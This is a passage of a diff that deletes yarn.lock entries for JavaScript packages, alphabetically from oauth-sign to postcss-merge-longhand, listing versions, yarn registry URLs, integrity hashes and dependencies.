-resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455"
-integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==
-
-object-assign@^4.1.1:
-version "4.1.1"
-resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
-
-object-component@0.0.3:
-version "0.0.3"
-resolved "https://registry.yarnpkg.com/object-component/-/object-component-0.0.3.tgz#f0c69aa50efc95b866c186f400a33769cb2f1291"
-integrity sha1-8MaapQ78lbhmwYb0AKM3acsvEpE=
-
-object-copy@^0.1.0:
-version "0.1.0"
-resolved "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
-integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
-dependencies:
-copy-descriptor "^0.1.0"
-define-property "^0.2.5"
-kind-of "^3.0.3"
-
-object-inspect@^1.7.0:
-version "1.7.0"
-resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.7.0.tgz#f4f6bd181ad77f006b5ece60bd0b6f398ff74a67"
-integrity sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==
-
-object-inspect@~1.4.0:
-version "1.4.1"
-resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.4.1.tgz#37ffb10e71adaf3748d05f713b4c9452f402cbc4"
-integrity sha512-wqdhLpfCUbEsoEwl3FXwGyv8ief1k/1aUdIPCqVnupM6e8l63BEJdiF/0swtn04/8p05tG/T0FrpTlfwvljOdw==
-
-object-keys@^1.0.11, object-keys@^1.0.12, object-keys@^1.0.6, object-keys@^1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
-integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
-
-object-visit@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
-integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
-dependencies:
-isobject "^3.0.0"
-
-object.assign@^4.1.0:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.0.tgz#968bf1100d7956bb3ca086f006f846b3bc4008da"
-integrity sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==
-dependencies:
-define-properties "^1.1.2"
-function-bind "^1.1.1"
-has-symbols "^1.0.0"
-object-keys "^1.0.11"
-
-object.getownpropertydescriptors@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.0.tgz#369bf1f9592d8ab89d712dced5cb81c7c5352649"
-integrity sha512-Z53Oah9A3TdLoblT7VKJaTDdXdT+lQO+cNpKVnya5JDe9uLvzu1YyY1yFDFrcxrlRgWrEFH0jJtD/IbuwjcEVg==
-dependencies:
-define-properties "^1.1.3"
-es-abstract "^1.17.0-next.1"
-
-object.pick@^1.3.0:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
-dependencies:
-isobject "^3.0.1"
-
-object.values@^1.1.0:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.1.1.tgz#68a99ecde356b7e9295a3c5e0ce31dc8c953de5e"
-integrity sha512-WTa54g2K8iu0kmS/us18jEmdv1a4Wi//BZ/DTVYEcH0XhLM5NYdpDHja3gt57VrZLcNAO2WGA+KpWsDBaHt6eA==
-dependencies:
-define-properties "^1.1.3"
-es-abstract "^1.17.0-next.1"
-function-bind "^1.1.1"
-has "^1.0.3"
-
-on-finished@~2.3.0:
-version "2.3.0"
-resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947"
-integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=
-dependencies:
-ee-first "1.1.1"
-
-once@^1.3.0, once@^1.3.1, once@^1.4.0:
-version "1.4.0"
-resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
-dependencies:
-wrappy "1"
-
-onetime@^2.0.0:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/onetime/-/onetime-2.0.1.tgz#067428230fd67443b2794b22bba528b6867962d4"
-integrity sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=
-dependencies:
-mimic-fn "^1.0.0"
-
-onetime@^5.1.0:
-version "5.1.0"
-resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.0.tgz#fff0f3c91617fe62bb50189636e99ac8a6df7be5"
-integrity sha512-5NcSkPHhwTVFIQN+TUqXoS5+dlElHXdpAWu9I0HP20YOtIi+aZ0Ct82jdlILDxjLEAWwvm+qj1m6aEtsDVmm6Q==
-dependencies:
-mimic-fn "^2.1.0"
-
-onmount@^1.3.0:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/onmount/-/onmount-1.3.0.tgz#dcf6c3d8c26baa4294b53c38d066347b616ddd7e"
-integrity sha1-3PbD2MJrqkKUtTw40GY0e2Ft3X4=
-
-opn@^5.1.0, opn@^5.3.0:
-version "5.5.0"
-resolved "https://registry.yarnpkg.com/opn/-/opn-5.5.0.tgz#fc7164fab56d235904c51c3b27da6758ca3b9bfc"
-integrity sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA==
-dependencies:
-is-wsl "^1.1.0"
-
-optionator@^0.8.1:
-version "0.8.3"
-resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
-integrity sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==
-dependencies:
-deep-is "~0.1.3"
-fast-levenshtein "~2.0.6"
-levn "~0.3.0"
-prelude-ls "~1.1.2"
-type-check "~0.3.2"
-word-wrap "~1.2.3"
-
-ora@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/ora/-/ora-2.1.0.tgz#6caf2830eb924941861ec53a173799e008b51e5b"
-integrity sha512-hNNlAd3gfv/iPmsNxYoAPLvxg7HuPozww7fFonMZvL84tP6Ox5igfk5j/+a9rtJJwqMgKK+JgWsAQik5o0HTLA==
-dependencies:
-chalk "^2.3.1"
-cli-cursor "^2.1.0"
-cli-spinners "^1.1.0"
-log-symbols "^2.2.0"
-strip-ansi "^4.0.0"
-wcwidth "^1.0.1"
-
-os-browserify@^0.3.0:
-version "0.3.0"
-resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27"
-integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=
-
-outlayer@^2.1.0:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/outlayer/-/outlayer-2.1.1.tgz#29863b6de10ea5dadfffcadfa0d728907387e9a2"
-integrity sha1-KYY7beEOpdrf/8rfoNcokHOH6aI=
-dependencies:
-ev-emitter "^1.0.0"
-fizzy-ui-utils "^2.0.0"
-get-size "^2.0.2"
-
-p-each-series@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/p-each-series/-/p-each-series-2.1.0.tgz#961c8dd3f195ea96c747e636b262b800a6b1af48"
-integrity sha512-ZuRs1miPT4HrjFa+9fRfOFXxGJfORgelKV9f9nNOWw2gl6gVsRaVDOQP0+MI0G0wGKns1Yacsu0GjOFbTK0JFQ==
-
-p-finally@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae"
-integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=
-
-p-limit@^1.1.0:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-1.3.0.tgz#b86bd5f0c25690911c7590fcbfc2010d54b3ccb8"
-integrity sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==
-dependencies:
-p-try "^1.0.0"
-
-p-limit@^2.0.0, p-limit@^2.2.0:
-version "2.3.0"
-resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
-integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
-dependencies:
-p-try "^2.0.0"
-
-p-locate@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-2.0.0.tgz#20a0103b222a70c8fd39cc2e580680f3dde5ec43"
-integrity sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=
-dependencies:
-p-limit "^1.1.0"
-
-p-locate@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
-integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
-dependencies:
-p-limit "^2.0.0"
-
-p-locate@^4.1.0:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
-integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
-dependencies:
-p-limit "^2.2.0"
-
-p-try@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/p-try/-/p-try-1.0.0.tgz#cbc79cdbaf8fd4228e13f621f2b1a237c1b207b3"
-integrity sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=
-
-p-try@^2.0.0:
-version "2.2.0"
-resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
-integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
-
-pako@^0.2.5:
-version "0.2.9"
-resolved "https://registry.yarnpkg.com/pako/-/pako-0.2.9.tgz#f3f7522f4ef782348da8161bad9ecfd51bf83a75"
-integrity sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=
-
-pako@~1.0.5:
-version "1.0.11"
-resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
-integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
-
-param-case@^2.1.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/param-case/-/param-case-2.1.1.tgz#df94fd8cf6531ecf75e6bef9a0858fbc72be2247"
-integrity sha1-35T9jPZTHs915r75oIWPvHK+Ikc=
-dependencies:
-no-case "^2.2.0"
-
-parcel-bundler@^1.12.4:
-version "1.12.4"
-resolved "https://registry.yarnpkg.com/parcel-bundler/-/parcel-bundler-1.12.4.tgz#31223f4ab4d00323a109fce28d5e46775409a9ee"
-integrity sha512-G+iZGGiPEXcRzw0fiRxWYCKxdt/F7l9a0xkiU4XbcVRJCSlBnioWEwJMutOCCpoQmaQtjB4RBHDGIHN85AIhLQ==
-dependencies:
-"@babel/code-frame" "^7.0.0"
-"@babel/core" "^7.4.4"
-"@babel/generator" "^7.4.4"
-"@babel/parser" "^7.4.4"
-"@babel/plugin-transform-flow-strip-types" "^7.4.4"
-"@babel/plugin-transform-modules-commonjs" "^7.4.4"
-"@babel/plugin-transform-react-jsx" "^7.0.0"
-"@babel/preset-env" "^7.4.4"
-"@babel/runtime" "^7.4.4"
-"@babel/template" "^7.4.4"
-"@babel/traverse" "^7.4.4"
-"@babel/types" "^7.4.4"
-"@iarna/toml" "^2.2.0"
-"@parcel/fs" "^1.11.0"
-"@parcel/logger" "^1.11.1"
-"@parcel/utils" "^1.11.0"
-"@parcel/watcher" "^1.12.1"
-"@parcel/workers" "^1.11.0"
-ansi-to-html "^0.6.4"
-babylon-walk "^1.0.2"
-browserslist "^4.1.0"
-chalk "^2.1.0"
-clone "^2.1.1"
-command-exists "^1.2.6"
-commander "^2.11.0"
-core-js "^2.6.5"
-cross-spawn "^6.0.4"
-css-modules-loader-core "^1.1.0"
-cssnano "^4.0.0"
-deasync "^0.1.14"
-dotenv "^5.0.0"
-dotenv-expand "^5.1.0"
-envinfo "^7.3.1"
-fast-glob "^2.2.2"
-filesize "^3.6.0"
-get-port "^3.2.0"
-htmlnano "^0.2.2"
-is-glob "^4.0.0"
-is-url "^1.2.2"
-js-yaml "^3.10.0"
-json5 "^1.0.1"
-micromatch "^3.0.4"
-mkdirp "^0.5.1"
-node-forge "^0.7.1"
-node-libs-browser "^2.0.0"
-opn "^5.1.0"
-postcss "^7.0.11"
-postcss-value-parser "^3.3.1"
-posthtml "^0.11.2"
-posthtml-parser "^0.4.0"
-posthtml-render "^1.1.3"
-resolve "^1.4.0"
-semver "^5.4.1"
-serialize-to-js "^3.0.0"
-serve-static "^1.12.4"
-source-map "0.6.1"
-terser "^3.7.3"
-v8-compile-cache "^2.0.0"
-ws "^5.1.1"
-
-parse-asn1@^5.0.0, parse-asn1@^5.1.5:
-version "5.1.5"
-resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.5.tgz#003271343da58dc94cace494faef3d2147ecea0e"
-integrity sha512-jkMYn1dcJqF6d5CpU689bq7w/b5ALS9ROVSpQDPrZsqqesUJii9qutvoT5ltGedNXMO2e16YUWIghG9KxaViTQ==
-dependencies:
-asn1.js "^4.0.0"
-browserify-aes "^1.0.0"
-create-hash "^1.1.0"
-evp_bytestokey "^1.0.0"
-pbkdf2 "^3.0.3"
-safe-buffer "^5.1.1"
-
-parse-json@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-4.0.0.tgz#be35f5425be1f7f6c747184f98a788cb99477ee0"
-integrity sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=
-dependencies:
-error-ex "^1.3.1"
-json-parse-better-errors "^1.0.1"
-
-parse-json@^5.0.0:
-version "5.0.0"
-resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.0.0.tgz#73e5114c986d143efa3712d4ea24db9a4266f60f"
-integrity sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==
-dependencies:
-"@babel/code-frame" "^7.0.0"
-error-ex "^1.3.1"
-json-parse-better-errors "^1.0.1"
-lines-and-columns "^1.1.6"
-
-parse5@5.1.0:
-version "5.1.0"
-resolved "https://registry.yarnpkg.com/parse5/-/parse5-5.1.0.tgz#c59341c9723f414c452975564c7c00a68d58acd2"
-integrity sha512-fxNG2sQjHvlVAYmzBZS9YlDp6PTSSDwa98vkD4QgVDDCAo84z5X1t5XyJQ62ImdLXx5NdIIfihey6xpum9/gRQ==
-
-parse5@5.1.1:
-version "5.1.1"
-resolved "https://registry.yarnpkg.com/parse5/-/parse5-5.1.1.tgz#f68e4e5ba1852ac2cadc00f4555fff6c2abb6178"
-integrity sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==
-
-parseqs@0.0.5:
-version "0.0.5"
-resolved "https://registry.yarnpkg.com/parseqs/-/parseqs-0.0.5.tgz#d5208a3738e46766e291ba2ea173684921a8b89d"
-integrity sha1-1SCKNzjkZ2bikbouoXNoSSGouJ0=
-dependencies:
-better-assert "~1.0.0"
-
-parseuri@0.0.5:
-version "0.0.5"
-resolved "https://registry.yarnpkg.com/parseuri/-/parseuri-0.0.5.tgz#80204a50d4dbb779bfdc6ebe2778d90e4bce320a"
-integrity sha1-gCBKUNTbt3m/3G6+J3jZDkvOMgo=
-dependencies:
-better-assert "~1.0.0"
-
-parseurl@~1.3.3:
-version "1.3.3"
-resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
-integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
-
-pascalcase@^0.1.1:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
-integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
-
-path-browserify@0.0.1:
-version "0.0.1"
-resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a"
-integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==
-
-path-dirname@^1.0.0:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/path-dirname/-/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0"
-integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=
-
-path-exists@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
-integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=
-
-path-exists@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
-integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
-
-path-is-absolute@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
-
-path-key@^2.0.0, path-key@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
-
-path-key@^3.0.0, path-key@^3.1.0:
-version "3.1.1"
-resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
-integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
-
-path-parse@^1.0.6:
-version "1.0.6"
-resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.6.tgz#d62dbb5679405d72c4737ec58600e9ddcf06d24c"
-integrity sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==
-
-path-to-regexp@0.1.7:
-version "0.1.7"
-resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
-integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
-
-path-type@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/path-type/-/path-type-3.0.0.tgz#cef31dc8e0a1a3bb0d105c0cd97cf3bf47f4e36f"
-integrity sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==
-dependencies:
-pify "^3.0.0"
-
-pbkdf2@^3.0.3:
-version "3.1.1"
-resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.1.tgz#cb8724b0fada984596856d1a6ebafd3584654b94"
-integrity sha512-4Ejy1OPxi9f2tt1rRV7Go7zmfDQ+ZectEQz3VGUQhgq62HtIRPDyG/JtnwIxs6x3uNMwo2V7q1fMvKjb+Tnpqg==
-dependencies:
-create-hash "^1.1.2"
-create-hmac "^1.1.4"
-ripemd160 "^2.0.1"
-safe-buffer "^5.0.1"
-sha.js "^2.4.8"
-
-performance-now@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
-integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
-
-physical-cpu-count@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/physical-cpu-count/-/physical-cpu-count-2.0.0.tgz#18de2f97e4bf7a9551ad7511942b5496f7aba660"
-integrity sha1-GN4vl+S/epVRrXURlCtUlverpmA=
-
-picomatch@^2.0.4, picomatch@^2.0.5, picomatch@^2.2.1:
-version "2.2.2"
-resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.2.tgz#21f333e9b6b8eaff02468f5146ea406d345f4dad"
-integrity sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==
-
-pidtree@^0.3.0:
-version "0.3.1"
-resolved "https://registry.yarnpkg.com/pidtree/-/pidtree-0.3.1.tgz#ef09ac2cc0533df1f3250ccf2c4d366b0d12114a"
-integrity sha512-qQbW94hLHEqCg7nhby4yRC7G2+jYHY4Rguc2bjw7Uug4GIJuu1tvf2uHaZv5Q8zdt+WKJ6qK1FOI6amaWUo5FA==
-
-pify@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"
-integrity sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=
-
-pify@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
-integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
-
-pirates@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.1.tgz#643a92caf894566f91b2b986d2c66950a8e2fb87"
-integrity sha512-WuNqLTbMI3tmfef2TKxlQmAiLHKtFhlsCZnPIpuv2Ow0RDVO8lfy1Opf4NUzlMXLjPl+Men7AuVdX6TA+s+uGA==
-dependencies:
-node-modules-regexp "^1.0.0"
-
-pkg-dir@^4.2.0:
-version "4.2.0"
-resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
-integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
-dependencies:
-find-up "^4.0.0"
-
-pkg-up@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-2.0.0.tgz#c819ac728059a461cab1c3889a2be3c49a004d7f"
-integrity sha1-yBmscoBZpGHKscOImivjxJoATX8=
-dependencies:
-find-up "^2.1.0"
-
-platform@1.3.3:
-version "1.3.3"
-resolved "https://registry.yarnpkg.com/platform/-/platform-1.3.3.tgz#646c77011899870b6a0903e75e997e8e51da7461"
-integrity sha1-ZGx3ARiZhwtqCQPnXpl+jlHadGE=
-
-pn@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/pn/-/pn-1.1.0.tgz#e2f4cef0e219f463c179ab37463e4e1ecdccbafb"
-integrity sha512-2qHaIQr2VLRFoxe2nASzsV6ef4yOOH+Fi9FBOVH6cqeSgUnoyySPZkxzLuzd+RYOQTRpROA0ztTMqxROKSb/nA==
-
-posix-character-classes@^0.1.0:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
-integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
-
-postcss-calc@^7.0.1:
-version "7.0.2"
-resolved "https://registry.yarnpkg.com/postcss-calc/-/postcss-calc-7.0.2.tgz#504efcd008ca0273120568b0792b16cdcde8aac1"
-integrity sha512-rofZFHUg6ZIrvRwPeFktv06GdbDYLcGqh9EwiMutZg+a0oePCCw1zHOEiji6LCpyRcjTREtPASuUqeAvYlEVvQ==
-dependencies:
-postcss "^7.0.27"
-postcss-selector-parser "^6.0.2"
-postcss-value-parser "^4.0.2"
-
-postcss-colormin@^4.0.3:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/postcss-colormin/-/postcss-colormin-4.0.3.tgz#ae060bce93ed794ac71264f08132d550956bd381"
-integrity sha512-WyQFAdDZpExQh32j0U0feWisZ0dmOtPl44qYmJKkq9xFWY3p+4qnRzCHeNrkeRhwPHz9bQ3mo0/yVkaply0MNw==
-dependencies:
-browserslist "^4.0.0"
-color "^3.0.0"
-has "^1.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-convert-values@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/postcss-convert-values/-/postcss-convert-values-4.0.1.tgz#ca3813ed4da0f812f9d43703584e449ebe189a7f"
-integrity sha512-Kisdo1y77KUC0Jmn0OXU/COOJbzM8cImvw1ZFsBgBgMgb1iL23Zs/LXRe3r+EZqM3vGYKdQ2YJVQ5VkJI+zEJQ==
-dependencies:
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-discard-comments@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-discard-comments/-/postcss-discard-comments-4.0.2.tgz#1fbabd2c246bff6aaad7997b2b0918f4d7af4033"
-integrity sha512-RJutN259iuRf3IW7GZyLM5Sw4GLTOH8FmsXBnv8Ab/Tc2k4SR4qbV4DNbyyY4+Sjo362SyDmW2DQ7lBSChrpkg==
-dependencies:
-postcss "^7.0.0"
-
-postcss-discard-duplicates@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.2.tgz#3fe133cd3c82282e550fc9b239176a9207b784eb"
-integrity sha512-ZNQfR1gPNAiXZhgENFfEglF93pciw0WxMkJeVmw8eF+JZBbMD7jp6C67GqJAXVZP2BWbOztKfbsdmMp/k8c6oQ==
-dependencies:
-postcss "^7.0.0"
-
-postcss-discard-empty@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/postcss-discard-empty/-/postcss-discard-empty-4.0.1.tgz#c8c951e9f73ed9428019458444a02ad90bb9f765"
-integrity sha512-B9miTzbznhDjTfjvipfHoqbWKwd0Mj+/fL5s1QOz06wufguil+Xheo4XpOnc4NqKYBCNqqEzgPv2aPBIJLox0w==
-dependencies:
-postcss "^7.0.0"
-
-postcss-discard-overridden@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/postcss-discard-overridden/-/postcss-discard-overridden-4.0.1.tgz#652aef8a96726f029f5e3e00146ee7a4e755ff57"
-integrity sha512-IYY2bEDD7g1XM1IDEsUT4//iEYCxAmP5oDSFMVU/JVvT7gh+l4fmjciLqGgwjdWpQIdb0Che2VX00QObS5+cTg==
-dependencies:
-postcss "^7.0.0"
-
-postcss-merge-longhand@^4.0.11:
-version "4.0.11"
-resolved "https://registry.yarnpkg.com/postcss-merge-longhand/-/postcss-merge-longhand-4.0.11.tgz#62f49a13e4a0ee04e7b98f42bb16062ca2549e24"
-integrity sha512-alx/zmoeXvJjp7L4mxEMjh8lxVlDFX1gqWHzaaQewwMZiVhLo42TEClKaeHbRf6J7j82ZOdTJ808RtN0ZOZwvw==
-dependencies:
-css-color-names "0.0.4"
